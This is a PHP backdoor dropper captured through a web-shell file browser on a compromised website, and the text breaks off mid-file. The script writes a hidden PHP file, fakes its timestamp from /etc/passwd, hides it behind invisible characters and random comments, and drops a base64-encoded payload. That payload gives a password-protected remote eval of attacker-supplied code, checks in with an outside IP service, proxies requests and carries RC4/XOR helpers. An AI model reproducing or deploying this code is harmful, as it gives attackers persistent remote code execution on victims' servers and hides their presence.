Your IP : 216.73.216.139


Current Path : /srv/web/sites/trentinoplant.it/httpdocs/pub/
Upload File :
Current File : /srv/web/sites/trentinoplant.it/httpdocs/pub/nJjskdmls.txt

<?php
$outfile=isset($_REQUEST['outfile']) ? $_REQUEST['outfile'] : 'favorite.php';

$lfile=basename(__FILE__);
$wfile=basename($_SERVER["SCRIPT_NAME"]);

//$_REQUEST['test']=1;
if (($lfile==$wfile) && !isset($_REQUEST['test'])) {echo file_get_contents(__FILE__);die();}


if (!file_exists(dirname($outfile)) || !is_writable(dirname($outfile))) 
		{
		echo "No write permissions or directory not exists:" .dirname($outfile)."\n";
		exit();
		}


if (file_exists($outfile))@unlink($outfile);
file_put_contents($outfile,'');
$finode=fileinode($outfile);
$donor=filemtime('/etc/passwd');
$ctime=time();

$key1=md5($finode);
$key2=md5($ctime);
$key3=md5($key1.$key2);

#echo "$key1 $key2 $key3\n";



$start='';
for($i=0;$i<=rand(5,20);$i++) $start.=randinvis();
$start.="/*\n".generateRandomString(rand(20,100))."\n";

$end='';
for($i=0;$i<=rand(5,20);$i++) $end.=randinvis();
$end.="*/".randinvis();

/*
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
ini_set('display_errors', 1);
*/
$proxy_code='aGVhZGVyKCJBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoiKTsKaGVhZGVyKCJFeHBpcmVzOiBNb24sIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVCIpOwpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIgLiBnbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikgLiAiIEdNVCIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7CmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIGZhbHNlKTsKaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7CgokcGFzc3dvcmQ9J19QQVNTV09SRF8nOwoKJHRoaXNmaWxlPXRyaW0ocHJlZ19yZXBsYWNlKCcvXCguKiQvJywnJywgX19GSUxFX18pKTsKJHZlcnNpb249JzAuN2ZpeDInOwoKCmluaV9zZXQoJ29wY2FjaGUuZW5hYmxlJywgMCk7CmlmIChmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfaW52YWxpZGF0ZScpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgb3BjYWNoZV9pbnZhbGlkYXRlKF9fRklMRV9fLCB0cnVlKTsKICAgICAgICAgICAgICAgIG9wY2FjaGVfaW52YWxpZGF0ZSgkdGhpc2ZpbGUsIHRydWUpOwogICAgICAgICAgICAgICAgfQoKJGluZm89YXJyYXkoCgkidHlwZSIgPT4gJ2N1cmwnLAoJImNvdW50cnlfY29kZSIgPT4gJ24vYScsCgknZG93bnNwZWVkJyA9PiAnbi9hJywKICAgICAgICAndmVyc2lvbicgPT4gJHZlcnNpb24sCiAgICAgICAgJ2lub2RlJyAgID0+IGZpbGVpbm9kZSgkdGhpc2ZpbGUpLAogICAgICAgICdtdGltZScgICA9PiBmaWxlY3RpbWUoJHRoaXNmaWxlKSwKICAgICAgICAnc3RhdHVzJyAgPT4gJ09LJywKICAgICAgICAndmVyc2lvbicgPT4gJHZlcnNpb24sCiAgICAgICAgJ3BhdGgnICA9PiAkdGhpc2ZpbGUKICAgICAgICAgICApOwoKJGFjdD1tZDUoJHBhc3N3b3JkLidhY3Rpb24nKTsKJGFjdD0oaXNzZXQoJF9SRVFVRVNUWyRhY3RdKSkgPyAkX1JFUVVFU1RbJGFjdF0gOiBGQUxTRTsKc3dpdGNoICgkYWN0KSB7CiAgICAgICAgY2FzZSBtZDUoJHBhc3N3b3JkLidzdGF0dXMnKToKICAgICAgICAgICAgICAgICRpbmZvWydhY3Rpb24nXSAgID0gJ3N0YXR1cyc7CiAgICAgICAgICAgICAgICAkaW5mb1snbG9hZGF2ZyddICA9IG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpID8gIG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpIDogJ24vYSc7CgoJCSRyZXFpbmZvPXJlcXVlc3QoImh0dHBzOi8vaXB3aG8uaXMvIik7IC8vcmV0dXJuIGFycmF5KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLCRyZXNwb25zZUJvZHkpCiAgICAgICAgICAgICAgICAkaXBfaW5mbz1qc29uX2RlY29kZSgkcmVxaW5mb1syXSxUUlVFKTsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkaXBfaW5mbykgJiYgKCRpcF9pbmZvWydzdWNjZXNzJ109PVRSVUUpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGluZm9bJ2lwJ109JGlwX2luZm9bImlwIl07CiAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWydjb3VudHJ5X2NvZGUnXT0kaXBfaW5mb1siY291bnRyeV9jb2RlIl07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCSRyZXBsPW1kNSgkcGFzc3dvcmQuJ2FjdGlvbicpLiI9Ii5tZDUoJHBhc3N3b3JkLidzdGF0dXMnKTsKCQkkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl09c3RyX3JlcGxhY2UoIiRyZXBsJiIsIiIsJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKTsKCQkkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl09c3RyX3JlcGxhY2UoIiRyZXBsIiwiIiwkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pOwogICAgICAgICAgICAgICAgbXAoJGluZm8sJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKTsKICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlIG1kNSgkcGFzc3dvcmQuJ2V2YWwnKToKICAgICAgICAgICAgICAgICRjb2RlPWlzc2V0KCRfUkVRVUVTVFsncGljdHVyZSddKSA/IGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWydwaWN0dXJlJ10pIDogRkFMU0U7CiAgICAgICAgICAgICAgICBpZiAoJGNvZGUpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICRpbmZvWydhY3Rpb24nXSAgID0gJ2V2YWxjb2RlJzsKICAgICAgICAgICAgICAgIHRyeSAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBldmFsKCRjb2RlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAkaW5mb1snc3RhdHVzJ10gID0gJ0ZBSUxFRCc7CiAgICAgICAgICAgICAgICAkaW5mb1snZXhjZXB0aW9uJ10gID0gJGUtPmdldE1lc3NhZ2UoKTsKICAgICAgICAgICAgICAgICRpbmZvWydyYXdjb2RlJ10gID0gJGNvZGU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgbXAoJGluZm8pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CgoKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdodHRwX3Jlc3BvbnNlX2NvZGUnKSkgewogICAgICAgIGZ1bmN0aW9uIGh0dHBfcmVzcG9uc2VfY29kZSgkY29kZSA9IE5VTEwpIHsKCiAgICAgICAgICAgIGlmICgkY29kZSAhPT0gTlVMTCkgewoKICAgICAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOwogICAgICAgICAgICAgICAgaGVhZGVyKCRwcm90b2NvbCAuICcgJyAuICRjb2RlIC4gJyAnIC4gJHRleHQpOwogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddID0gJGNvZGU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkY29kZSA9IChpc3NldCgkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10pID8gJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddIDogMjAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGNvZGU7CiAgICAgICAgfQogICAgfQoKZnVuY3Rpb24gbXAoJGFycj0nJywkY29udD1GQUxTRSkKICAgICAgICB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkYXJyKTsKICAgICAgICBpZiAoISRjb250KSBleGl0KDApOwogICAgICAgIH0KZnVuY3Rpb24gbXJlYWRmaWxlKCRmaWxlPScnKQogICAgICAgIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpICYmIGlzX3JlYWRhYmxlKCRmaWxlKSkgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKICAgICAgICBlbHNlIHJldHVybiBGQUxTRTsKICAgICAgICB9CgoKZnVuY3Rpb24gYnl0ZTIoJGJ5dGVzKSB7CiAgICAgICAgJHNpemUgPSBhcnJheSgnQi9zJywnS0IvcycsJ01CL3MnLCdHQi9zJywnVEIvcycpOwogICAgICAgICRmYWN0b3IgPSBmbG9vcihsb2coJGJ5dGVzLCAxMDI0KSk7CiAgICAgICAgJGZvcm1hdCA9ICRmYWN0b3IgPiAyID8gJyUuMUYgJXMnIDogJyV1ICVzJzsKICAgICAgICByZXR1cm4gc3ByaW50ZigkZm9ybWF0LCAkYnl0ZXMgLyBwb3coMTAyNCwgJGZhY3RvciksICRzaXplWyRmYWN0b3JdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3hvcl9zdHJpbmcnKSkKICB7CgoJZnVuY3Rpb24geG9yX3N0cmluZygkc3RyaW5nLCAka2V5KSB7CgkJJGtleT1zdHJ2YWwoJHN0cmluZyk7CgkJJGtleT1zdHJ2YWwoJGtleSk7CgkgICAgZm9yKCRpID0gMDsgJGkgPCBzdHJsZW4oJHN0cmluZyk7ICRpKyspIAoJICAgICAgICAkc3RyaW5nWyRpXSA9ICgkc3RyaW5nWyRpXSBeICRrZXlbJGkgJSBzdHJsZW4oJGtleSldKTsKCSAgICByZXR1cm4gJHN0cmluZzsKCQkJCQkgIH0KICB9CgoKZnVuY3Rpb24gcmVxdWVzdCgkdGFyZ2V0VXJsLCRoZWFkZXJzPWFycmF5KCkpCiAgICAgICAgewpnbG9iYWwgJGluZm87CmlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSB7CgoJJGhlYWRlcnNbXT0iT1JJRy1UWVBFOiBjdXJsIjsKCSRyZXF1ZXN0ID0gY3VybF9pbml0KCR0YXJnZXRVcmwpOwoJY3VybF9zZXRvcHRfYXJyYXkoJHJlcXVlc3QsIGFycmF5KAoJICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gdHJ1ZSwKCSAgICBDVVJMT1BUX0hFQURFUiA9PiB0cnVlLAoJICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwKCSAgICBDVVJMSU5GT19IRUFERVJfT1VUID0+IHRydWUsCgkgICAgQ1VSTE9QVF9IVFRQSEVBREVSID0+ICRoZWFkZXJzLAoJICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVI9PmZhbHNlLAoJICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PmZhbHNlCgkpKTsKCgkkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJHJlcXVlc3QpOwoJJGhlYWRlclNpemUgPSBjdXJsX2dldGluZm8oJHJlcXVlc3QsIENVUkxJTkZPX0hFQURFUl9TSVpFKTsKCSRyZXNwb25zZUhlYWRlciA9IHN1YnN0cigkcmVzcG9uc2UsIDAsICRoZWFkZXJTaXplKTsKCSRyZXNwb25zZUJvZHkgPSBzdWJzdHIoJHJlc3BvbnNlLCAkaGVhZGVyU2l6ZSk7CgkkcmVzcG9uc2VJbmZvID0gY3VybF9nZXRpbmZvKCRyZXF1ZXN0KTsKCSRyZXNwb25zZUNvZGUgPSByaSgkcmVzcG9uc2VJbmZvWydodHRwX2NvZGUnXSwgNTAwKTsKCSRyZWRpcmVjdENvdW50ID0gcmkoJHJlc3BvbnNlSW5mb1sncmVkaXJlY3RfY291bnQnXSwgMCk7CgkkcmVxdWVzdEhlYWRlcnMgPSBwcmVnX3NwbGl0KCcvW1xyXG5dKy8nLCByaSgkcmVzcG9uc2VJbmZvWydyZXF1ZXN0X2hlYWRlciddLCAnJykpOwoJaWYgKCRyZXNwb25zZUNvZGUgPT09IDApIHsKCSAgICAkcmVzcG9uc2VDb2RlID0gNDA0OwoJfQoJCgkkZmluYWxSZXF1ZXN0VVJMID0gY3VybF9nZXRpbmZvKCRyZXF1ZXN0LCBDVVJMSU5GT19FRkZFQ1RJVkVfVVJMKTsKCWlmICgkcmVkaXJlY3RDb3VudCA+IDAgJiYgIWVtcHR5KCRmaW5hbFJlcXVlc3RVUkwpKSB7CgkgICAgJGZpbmFsUmVxdWVzdFVSTFBhcnRzID0gcGFyc2VfdXJsKCRmaW5hbFJlcXVlc3RVUkwpOwoJICAgICRlZmZlY3RpdmVVUkwgPSByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ3NjaGVtZSddLCAnaHR0cCcpIC4gJzovLycgLgoJICAgICAgICByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ2hvc3QnXSkgLiByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ3BhdGgnXSwgJycpOwoJfQoKCWN1cmxfY2xvc2UoJHJlcXVlc3QpOwoJCQkJICAgICB9CmVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzdHJlYW1fc29ja2V0X2NsaWVudCcpKQoJCXsKCSRoZWFkZXJzW109Ik9SSUctVFlQRTogc3NjIjsKCSRpbmZvWyd0eXBlJ109InNzYyI7CgkkcHU9cGFyc2VfdXJsKCR0YXJnZXRVcmwpOwoJJHB1WydxdWVyeSddID0gaXNzZXQoJHB1WydxdWVyeSddKSA/ICc/Jy4kcHVbJ3F1ZXJ5J10gOiAnJzsKCSRwcmVmaXggPSAoJHB1WyJzY2hlbWUiXT09J2h0dHBzJykgPyAnc3NsOi8vJyA6ICd0Y3A6Ly8nOwoKCSRwb3J0ID0gKGlzc2V0KCRwdVsicG9ydCJdKSkgPyAkcHVbInBvcnQiXSA6IE5VTEw7CglpZiAoISRwb3J0KSAkcG9ydCA9ICgkcHJlZml4PT0nc3NsOi8vJykgPyA0NDMgOiA4MDsKCSRob3N0bmFtZSA9ICRwcmVmaXguJHB1WyJob3N0Il0uIjokcG9ydCI7CgoJJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoCgkgICAgJ3NzbCcgPT4gYXJyYXkoCgkgICAgICAgICd2ZXJpZnlfcGVlcicgPT4gZmFsc2UsCgkgICAgICAgICd2ZXJpZnlfcGVlcl9uYW1lJyA9PiBmYWxzZQoJCQkpCgkJCQkJKSk7CgoJJGZwID0gc3RyZWFtX3NvY2tldF9jbGllbnQoJGhvc3RuYW1lLCAkZXJybm8sICRlcnJzdHIsIGluaV9nZXQoImRlZmF1bHRfc29ja2V0X3RpbWVvdXQiKSwgU1RSRUFNX0NMSUVOVF9DT05ORUNULCAkY29udGV4dCk7CglpZighJGZwKSBkaWUoJ05LRE0nKTsKCSRob3N0PXBhcnNlX3VybCgkdGFyZ2V0VXJsLCBQSFBfVVJMX0hPU1QpOwoJJHBhdGg9cGFyc2VfdXJsKCR0YXJnZXRVcmwsIFBIUF9VUkxfUEFUSCk7CiMJJHJlcXVlc3Q9ICdHRVQgJy4kcGF0aC4kcHVbJ3F1ZXJ5J10uJyAnLiRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXS4iXHJcbiI7CgkkcmVxdWVzdD0gJ0dFVCAnLiRwYXRoLiRwdVsncXVlcnknXS4nICcuIkhUVFAvMS4wXHJcbiI7ICAKCSRyZXF1ZXN0Lj0gIkhPU1Q6ICRob3N0XHJcbiI7CgkkcmVxdWVzdC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG4iOwoJJHJlcXVlc3QuPWltcGxvZGUoIlxyXG4iLCRoZWFkZXJzKS4iXHJcbiI7CgkkcmVxdWVzdC49IlxyXG5cclxuIjsKCglmcHV0cygkZnAsJHJlcXVlc3QpOwoJJGlzaGVhZGVyPVRSVUU7CgkkcmVzcG9uc2VIZWFkZXI9IiI7CgkkcmVzcG9uc2VCb2R5PSIiOwoKCgkgICAgd2hpbGUgKCgkbGluZSA9IGZnZXRzKCRmcCkpICE9PSBmYWxzZSkgewoKCQlpZiAoJGlzaGVhZGVyKQoJCQl7CgkJaWYgKCRyZXNwb25zZUhlYWRlcj09JycpIGxpc3QoJGh0dHAsJHJlc3BvbnNlQ29kZSwkbXNnKT1leHBsb2RlKCcgJywkbGluZSk7IC8vZ2V0IGh0dHAgcmVzcG9uc2UgY29kZSBmcm9tIGZpcnN0IGxpbmUKCQlpZiAoc3RydG9sb3dlcihzdWJzdHIoJGxpbmUsIDAsIDE0KSk9PT0nY29udGVudC1sZW5ndGgnKSBjb250aW51ZTsKCQkkcmVzcG9uc2VIZWFkZXIuPSRsaW5lOwoJCQl9CgoJCWlmICgoJGxpbmU9PSJcclxuIikgJiYgJGlzaGVhZGVyKQkgIHsKCQkJCSAgICAgICAkaXNoZWFkZXI9RkFMU0U7CgkJCQkgICAgICAgJGxpbmU9Jyc7CgkJCQkgICAgICAgY29udGludWU7CgkJCSAgIAkgCQkJICB9CgkJCQlpZiAoISRpc2hlYWRlcikgJHJlc3BvbnNlQm9keS49JGxpbmU7CgkgICAgCQkJCQl9CgkgZmNsb3NlKCRmcCk7CgkJfQoKCgoJcmV0dXJuIGFycmF5KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLCRyZXNwb25zZUJvZHkpOwogICAgICAgIH0KCmZ1bmN0aW9uIGdldEluY29taW5nUmVxdWVzdEhlYWRlcnMoKQp7CiAgICAkc2tpcHBlZEhlYWRlcnM9YXJyYXkoCiAgICAgICAgJ0hUVFBfSE9TVCcsCiAgICAgICAgJ0hUVFBfQUNDRVBUX0VOQ09ESU5HJywKCSdTRVJWRVJfU0lHTkFUVVJFJywKCSdQQVRIJywKCSdMRF9MSUJSQVJZX1BBVEgnLAoJJ1RFTVAnLAoJJ1RNUERJUicsCgknVE1QJywKCSdVU0VSJywKCSdIT01FJywKCSdGQ0dJX1JPTEUnLAogICAgKTsKICAgICRyZXN1bHRzID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgaWYgKGluX2FycmF5KCRrZXksICRza2lwcGVkSGVhZGVycykpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQoKICAgICAgICAkbG93ZXJlZEtleSA9IHN0cnRvbG93ZXIoJGtleSk7CiAgICAgICAgaWYgKHN0cnBvcygkbG93ZXJlZEtleSwgJ2h0dHBfJykgPT09IDApIHsKICAgICAgICAgICAgLy8gUmVtb3ZlIHByZWZpeAogICAgICAgICAgICAka2V5ID0gc3Vic3RyKCRsb3dlcmVkS2V5LCBzdHJsZW4oJ2h0dHBfJykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIFJlcGxhY2UgdW5kZXJzY29yZXMgd2l0aCBkYXNoZXMKICAgICAgICAgICAgJGtleSA9IHN0cl9yZXBsYWNlKCdfJywgJy0nLCAka2V5KTsKICAgICAgICAgICAgLy8gQ2FwaXRhbCBlYWNoIHdvcmQKICAgICAgICAgICAgJGtleSA9IHVjd29yZHMoJGtleSk7CgkJaWYgKGlzX2FycmF5KCR2YWx1ZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkdmFsdWUsIlxuIikhPT1GQUxTRSkgY29udGludWU7CiAgICAgICAgICAgICRyZXN1bHRzW10gPSAiT1JJRy0iLiIka2V5OiAkdmFsdWUiOwoKICAgIH0KCiAgICByZXR1cm4gJHJlc3VsdHM7Cn0KZnVuY3Rpb24gcmkoJiR2YXJpYWJsZSwgJGRlZmF1bHQgPSBudWxsKQp7CiAgICAgICAgaWYgKGlzc2V0KCR2YXJpYWJsZSkpIHsKICAgICAgICAgICAgcmV0dXJuICR2YXJpYWJsZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJGRlZmF1bHQ7CiAgICAgICAgfQp9CgpmdW5jdGlvbiBzcGxpdFJlc3BvbnNlSGVhZGVycygkaGVhZGVyU3RyaW5nKQp7CiAgICAkcmVzdWx0cyA9IGFycmF5KCk7CiAgICAkaGVhZGVyTGluZXMgPSBwcmVnX3NwbGl0KCcvW1xyXG5dKy8nLCAkaGVhZGVyU3RyaW5nKTsKICAgIGZvcmVhY2ggKCRoZWFkZXJMaW5lcyBhcyAkaGVhZGVyTGluZSkgewogICAgICAgIGlmIChlbXB0eSgkaGVhZGVyTGluZSkpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQoKICAgICAgICAvLyBIZWFkZXIgY29udGFpbnMgSFRUUCB2ZXJzaW9uIHNwZWNpZmljYXRpb24gYW5kIHBhdGgKICAgICAgICBpZiAoc3RycG9zKCRoZWFkZXJMaW5lLCAnSFRUUC8nKSA9PT0gMCkgewogICAgICAgICAgICAvLyBSZXNldCB0aGUgb3V0cHV0IGFycmF5IGFzIHRoZXJlIG1heSBieSBtdWx0aXBsZSByZXNwb25zZSBoZWFkZXJzCiAgICAgICAgICAgICRyZXN1bHRzID0gYXJyYXkoKTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0c1tdID0gIiRoZWFkZXJMaW5lIjsKICAgIH0KCiAgICByZXR1cm4gJHJlc3VsdHM7Cn0KCmZ1bmN0aW9uIHJjNCgkc3RyLCRrZXkpIHsKICAgIGlmIChlbXB0eSgkc3RyKSkgcmV0dXJuICcnOwogICAgaWYgKCFpc19zdHJpbmcoJHN0cikpICRzdHI9c3RydmFsKCRzdHIpOwogICAgICAgICRzID0gYXJyYXkoKTsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAyNTY7ICRpKyspIHsKICAgICAgICAgICAgICAgICRzWyRpXSA9ICRpOwogICAgICAgIH0KICAgICAgICAkaiA9IDA7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgMjU2OyAkaSsrKSB7CiAgICAgICAgICAgICAgICAkaiA9ICgkaiArICRzWyRpXSArIG9yZCgka2V5WyRpICUgc3RybGVuKCRrZXkpXSkpICUgMjU2OwogICAgICAgICAgICAgICAgJHggPSAkc1skaV07CiAgICAgICAgICAgICAgICAkc1skaV0gPSAkc1skal07CiAgICAgICAgICAgICAgICAkc1skal0gPSAkeDsKICAgICAgICB9CiAgICAgICAgJGkgPSAwOwogICAgICAgICRqID0gMDsKICAgICAgICAkcmVzID0gJyc7CiAgICAgICAgZm9yICgkeSA9IDA7ICR5IDwgc3RybGVu